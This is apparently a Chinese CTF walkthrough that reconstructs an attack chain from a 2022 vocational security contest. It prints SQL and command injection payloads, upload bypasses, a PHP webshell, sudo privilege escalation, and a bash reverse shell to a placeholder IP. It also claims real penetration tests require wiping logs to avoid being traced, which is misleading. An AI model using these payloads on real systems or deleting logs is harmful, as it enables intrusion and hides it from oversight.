1. 从一道国赛题看实战渗透的思维跃迁
2022年的那场中职网络空间安全国赛,对于很多刚入行的朋友来说,可能是一道难以逾越的坎。我最近重新复盘了其中的竞赛试题4,发现它远不止是一道“找Flag”的题目,更像是一个精心设计的、高度贴近真实攻防场景的微型靶场。很多人拿到题目,第一反应就是打开扫描器,或者照着网上所谓的“万能脚本”一顿操作,结果往往卡在某个不起眼的环节,时间耗尽,一无所获。今天,我就以这道题为例,抛开那些花里胡哨的自动化工具,回归最本质的手工分析与逻辑推理,带你走一遍一个合格的安全从业者在面对未知系统时的完整思考路径。这道题的核心价值,不在于教会你某个特定漏洞的利用,而在于塑造一种“穿透性”的思维模式——如何从一堆杂乱的线索中,构建出目标的完整攻击面,并找到那条最高效的路径。
这道题通常被归类为CTF中的“Web”或“综合”题型,但它模拟的恰恰是我们在进行授权渗透测试或src漏洞挖掘时最常见的情景:给你一个入口点(可能是一个IP,一个URL),目标系统本身可能由多个服务、多种技术栈混杂而成,你的任务就是摸清它的底细,并拿到关键数据(即Flag)。我们将重点拆解信息收集、服务分析、漏洞定位、权限提升与横向移动、数据获取这五个核心阶段,并在每个阶段穿插我踩过的坑和总结出的“笨办法”,这些往往是自动化工具无法教会你的。
2. 信息收集:超越Nmap与Dirsearch的“人工”视角
拿到目标地址(假设是http://target_ip:port或一个具体的域名),绝大多数人的第一步是祭出Nmap进行端口扫描,用Dirsearch或Gobuster进行目录爆破。这没错,但这是“机器”的视角。作为一个分析师,你的“人工”视角应该更早介入,并且更细致。
2.1 初始交互与“感觉”建立
首先,直接浏览器访问。不要急着看页面内容,先打开开发者工具(F12),关注以下几个标签页:
- Network(网络):观察页面加载了哪些资源(JS、CSS、图片、API接口)。一个
/api/v1/user/profile的请求,远比一个/admin的目录更能说明问题。注意状态码,403、404是常态,但一个401可能提示需要认证,一个302重定向则指明了登录入口。 - Console(控制台):查看是否有JavaScript错误或日志输出。有时开发环境信息、内部API路径甚至硬编码的密钥会在这里泄露。
- Sources(源代码):查看前端JavaScript文件。我在这道题里就曾发现,前端JS中硬编码了一个用于测试的API密钥,该密钥拥有比普通用户更高的权限。自动化扫描器绝不会去“阅读”JS代码的逻辑。
- Application(应用):查看Cookies、LocalStorage、SessionStorage。一个名为
isAdmin=false的Cookie,就是在明示你认证机制的存在和可能的绕过点。
然后,才是不带任何预设地去浏览页面功能。是一个登录框?是一个文件上传点?还是一个看似静态的宣传页?每一个交互元素都是一个潜在的测试向量。
2.2 针对性服务探测与指纹识别
接下来,才是工具辅助阶段。但使用工具要有明确目的。
- 端口扫描:不要只用
-sS(SYN扫描)。对于这道题涉及的常见服务,我通常会加上-sV(版本探测)和-sC(默认脚本扫描)。例如,nmap -sS -sV -sC -p- target_ip。关键不在于扫出全端口,而在于精准识别。如果扫出80/http,3306/mysql,6379/redis,那么你脑子里应该立刻浮现出一个“Web+数据库+缓存”的典型架构。 - Web路径探测:Dirsearch这类工具要用,但字典要选对。通用的
common.txt不够用。我会根据Nmap识别的中间件(如Nginx, Apache, Tomcat)和技术栈线索(如页面返回X-Powered-By: PHP/7.2),组合使用针对性的字典,比如php.txt,asp.txt,tomcat.txt。同时,要关注探测结果中的“异常”状态码长度和响应内容,一个返回“Access Denied”的403和一个返回“Not Found”的404,其背后的安全配置可能完全不同。
在这一步,我个人的笔记里会开始画一张简单的拓扑图:开放端口、运行服务、版本号、发现的路径(如/login,/upload,/api),以及任何可疑的字符串(如注释里的邮箱、JS里的内部域名)。
3. 漏洞挖掘:在“预期功能”与“非预期行为”之间
信息收集完毕后,攻击面就清晰了。国赛题往往会把漏洞藏在“功能逻辑”里,而不是一个公开的CVE漏洞利用。这就需要我们进行功能点测试。
3.1 认证与授权逻辑测试
如果存在登录功能,这是重灾区。
- 弱口令爆破:虽然是基础,但不能蛮干。先尝试最常见的几个(admin/admin, admin/123456, root/root等)。观察登录失败的错误信息。如果提示“用户名不存在”和“密码错误”不同,那么你就可以先枚举出存在的用户名(用户名枚举漏洞)。
- 逻辑绕过:这是本题的一个关键考点。例如,登录后的权限校验可能仅仅依靠前端Cookie或一个脆弱的Session机制。通过抓包工具(如Burp Suite)拦截登录成功后的请求,你可能会发现一个参数如
role=user。尝试修改为role=admin直接重放请求,有时就能绕过前端校验,实现垂直越权。另一种情况是,密码修改功能可能没有验证旧密码,或者重置密码的Token可以预测或暴力破解。 - Session与Cookie操纵:查看Session ID的生成规律(是否可预测?如基于时间戳)。Cookie是否明文存储了用户信息(如
user=admin; auth=true)?尝试篡改这些值。
3.2 输入点测试与命令/代码执行
任何用户可控的输入都是潜在的漏洞点:表单、URL参数、HTTP头(如User-Agent, X-Forwarded-For)、文件上传。
- SQL注入:在登录框、搜索框、订单查询等位置尝试
'、"看是否报错。使用时间盲注的Payload如1' AND SLEEP(5)--来判断。但国赛题为了增加难度,可能会使用预编译语句(PDO)来防御常规注入,这时就要转向二次注入或寻找其他入口。 - 命令注入:常见于网络设备功能、文件管理功能或参数中包含IP、域名的地方。例如,一个“Ping测试”功能,输入框接收IP,后端可能直接拼接成
ping -c 3 user_input。尝试输入127.0.0.1; whoami或127.0.0.1 && cat /etc/passwd。本题的一个变种是,在文件上传后的“文件处理”功能中,文件名被带入系统命令。 - 文件上传漏洞:这是国赛Web题的常客。关键点在于绕过:
- 前端校验:仅检查文件后缀,修改JS或直接抓包绕过即可。
- MIME类型校验:抓包修改
Content-Type为image/jpeg。 - 后缀黑名单:尝试大小写(.Php)、点号绕过(.php.)、空格绕过(.php )、双写后缀(.pphphp)、利用解析特性(.php.jpg, .php3, .phtml)。
- 内容校验:在文件开头添加图片魔数字节(如GIF89a),后面再跟PHP代码(图片马)。
- 路径结合:上传成功后的文件访问路径是关键。可能需要结合目录遍历获取绝对路径。
3.3 不安全的直接对象引用与信息泄露
在题目中,经常看到诸如/download?file=report.pdf或/api/user?id=123这样的链接。这里就存在IDOR(不安全的直接对象引用)风险。尝试将id=123改为id=124,或者将file=report.pdf改为file=../../../../etc/passwd(路径遍历)。此外,.git目录泄露、.DS_Store文件、备份文件(如index.php.bak,www.zip)、配置文件(config.php,.env)泄露,都是获取源代码、数据库密码等敏感信息的重要途径,需要利用目录扫描工具重点排查。
4. 权限提升与内网横向移动:突破边界后的战场
在国赛综合题中,拿到Webshell(如通过文件上传传了一个木马)往往只是第一步,Flag可能不在Web目录下,而是在数据库里、在另一个内网机器的文件中,或者需要更高系统权限才能读取。
4.1 从Web权限到系统权限
拿到一个简单的命令执行点(如?cmd=whoami)或一个Webshell后,第一步是信息收集:
whoami/id:查看当前用户权限。uname -a:查看系统内核版本,寻找本地提权漏洞。cat /etc/passwd:查看系统用户。ps aux:查看运行进程,有没有以root身份运行的服务?sudo -l:非常重要!查看当前用户可以用sudo执行哪些命令。如果看到(ALL) NOPASSWD: /usr/bin/vim,那么就可以通过sudo vim然后:!bash直接提权到root。find / -perm -u=s -type f 2>/dev/null:查找SUID文件。如果找到/bin/bash或某些可执行文件设置了SUID,可能存在提权方法。
在本题模拟的环境中,我遇到的一种情况是,Web服务以www-data用户运行,但服务器上有一个定时任务(cron job)以root身份执行一个所有用户可写的脚本。通过写入反向Shell或命令到该脚本中,等待定时任务执行,就获得了root权限。查找定时任务可以用crontab -l(查看当前用户的)或cat /etc/crontab(查看系统的)。
4.2 数据库操作与数据提取
Flag常常藏在数据库里。通过Web漏洞获取数据库连接信息(从源码、配置文件泄露中),或者通过Webshell执行命令连接数据库。
- MySQL:
mysql -u username -p password -h host database -e "SELECT * FROM flag_table;" - Redis:如果发现开放了6379端口且未授权访问,可以直接用
redis-cli -h target_ip连接,然后使用keys *列出所有键,get key_name获取值。Redis甚至可以写Webshell。 - MongoDB:类似,可能存在未授权访问。
4.3 内网探测与横向移动
如果目标机器处于一个内网环境(从IP地址如192.168.x.x可判断),那么就需要进行内网渗透。
- 网络信息收集:
ifconfig/ip addr看网卡信息;cat /etc/hosts看主机映射;netstat -antp看网络连接和监听端口。 - 内网主机发现:通过Webshell上传一个静态编译的扫描工具(如nmap二进制文件),或者利用系统自带的工具进行简易扫描。例如,用bash循环ping C段:
for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i & done。 - 端口扫描与服务识别:对内网其他IP进行重点端口扫描(22/ssh, 80/http, 445/smb等)。
- 凭证窃取与重用:在当前机器上查找密码文件、历史命令、配置文件、数据库连接字符串,这些密码很可能在内网其他机器上复用。
- 建立持久化通道:使用反向Shell(如
bash -i >& /dev/tcp/your_ip/port 0>&1)连接回你的攻击机,或者上传一个功能完整的木马,以便在内网进行更复杂的操作。
5. 综合实战:试题4的模拟推演与心路复盘
现在,让我们把上述所有知识点,串起来模拟一下2022年国赛试题4的可能解题流程。请注意,以下是我基于常见赛题模式和经验进行的推演,并非原题还原,但思路是相通的。
5.1 第一阶段:外网突破与Web入口获取
假设目标是一个Web服务。通过Nmap扫描发现80端口开放,运行着Nginx 1.18和PHP 7.4。目录扫描发现/admin、/upload、/api、/backup.zip。
- 第一步:访问网站,是一个简单的文档管理系统。尝试弱口令登录
/admin无果。 - 第二步:下载并解压
backup.zip,发现是网站源码备份。审计源码,在config.php中发现数据库密码硬编码:$db_pass = 's3cr3t_p@ssw0rd_2022';。同时,在api/user.php中发现一个SQL查询:$sql = "SELECT * FROM users WHERE id='" . $_GET['id'] . "'";,存在明显的SQL注入。 - 第三步:利用SQL注入,使用联合查询注入获取管理员密码哈希。例如:
/api/user.php?id=1' UNION SELECT 1,username,password,4 FROM admin_users--。获取到哈希值(假设是MD5)。 - 第四步:尝试在线破解或已知的彩虹表碰撞,或者审计源码发现密码哈希是
md5($salt . $password),且salt在源码中已知。成功破解出管理员密码。 - 第五步:用管理员密码登录
/admin后台。
踩坑点:这里最容易卡住的地方是,
backup.zip的文件名可能不是直接的,而是需要猜测或通过目录扫描发现一个不起眼的www.rar或source.tar.gz。另外,源码中的数据库密码可能连接的是本地数据库,但通过SQL注入的LOAD_FILE()函数可以读取系统文件,为后续提权做准备。
5.2 第二阶段:权限提升与内网渗透
进入后台后,发现有文件上传功能,但严格限制了后缀名和文件头。
- 第一步:通过审计上传处理代码(从备份源码中),发现它虽然检查了后缀(.php不行)和文件头(必须是图片),但在保存文件时,直接使用了用户上传时的文件名,没有重命名。这就存在路径遍历的可能。
- 第二步:制作一个图片马,文件名为
../../../shell.jpg(假设我们知道绝对路径/var/www/html)。上传后,文件实际被保存到了/var/www/shell.jpg,跳出了Web目录,但服务器上可能配置了其他虚拟主机能访问到该目录,或者我们后续可以通过其他方式访问。 - 第三步:后台还有一个“系统日志查看”功能,可以读取指定文件。尝试读取
/etc/passwd,成功。说明存在文件读取漏洞。利用该功能,读取我们上传的图片马../../../shell.jpg,但由于服务器解析,图片中的PHP代码并未执行。 - 第四步:结合文件上传和文件读取,我们需要一个能执行代码的点。发现后台有“数据库备份”功能,备份时调用的是系统命令
mysqldump。通过抓包修改备份参数,注入命令:database_name; whoami > /tmp/test.txt。成功执行,证明存在命令注入。 - 第五步:利用命令注入,写入一个真正的Webshell到Web目录:
database_name; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php。然后访问http://target/shell.php?c=whoami,获得Webshell,权限是www-data。
5.3 第三阶段:获取Flag与清理痕迹
拿到www-data的Webshell后,进行系统信息收集。
- 第一步:执行
sudo -l,发现(ALL) NOPASSWD: /usr/bin/find。这是一个经典的SUDO提权向量。直接执行sudo find / -exec /bin/bash \;或sudo find . -exec /bin/sh \;,即可获得一个root权限的Shell。 - 第二步:成为root后,开始寻找Flag。通常Flag会放在根目录、用户家目录或某个特定目录下,文件名可能是
flag、flag.txt、key等。使用find / -name "*flag*" 2>/dev/null或find / -type f -exec grep -l "flag{" {} \; 2>/dev/null来搜索包含特定格式(如flag{)的文件。 - 第三步:在
/root目录下找到flag.txt,读取内容,获得最终Flag:flag{Th1s_1s_Th3_F1na1_Fl4g_2022}。 - 第四步(竞赛中可做,真实渗透测试必须做):清理日志,删除上传的Webshell文件,避免被溯源。检查
/var/log/apache2/access.log、/var/log/auth.log等,删除与自己IP相关的记录。但国赛环境通常不需要。
整个流程,从外网信息收集到内网提权拿Flag,考验的是一条完整的攻击链构建能力。它要求选手不仅知道每个漏洞点,更要知道如何将它们像拼图一样组合起来,步步为营。自动化工具能帮你发现“点”,但如何连接这些“点”形成“线”和“面”,靠的是手工艺者的思维和耐心。这道国赛题,正是这样一个绝佳的思维训练场。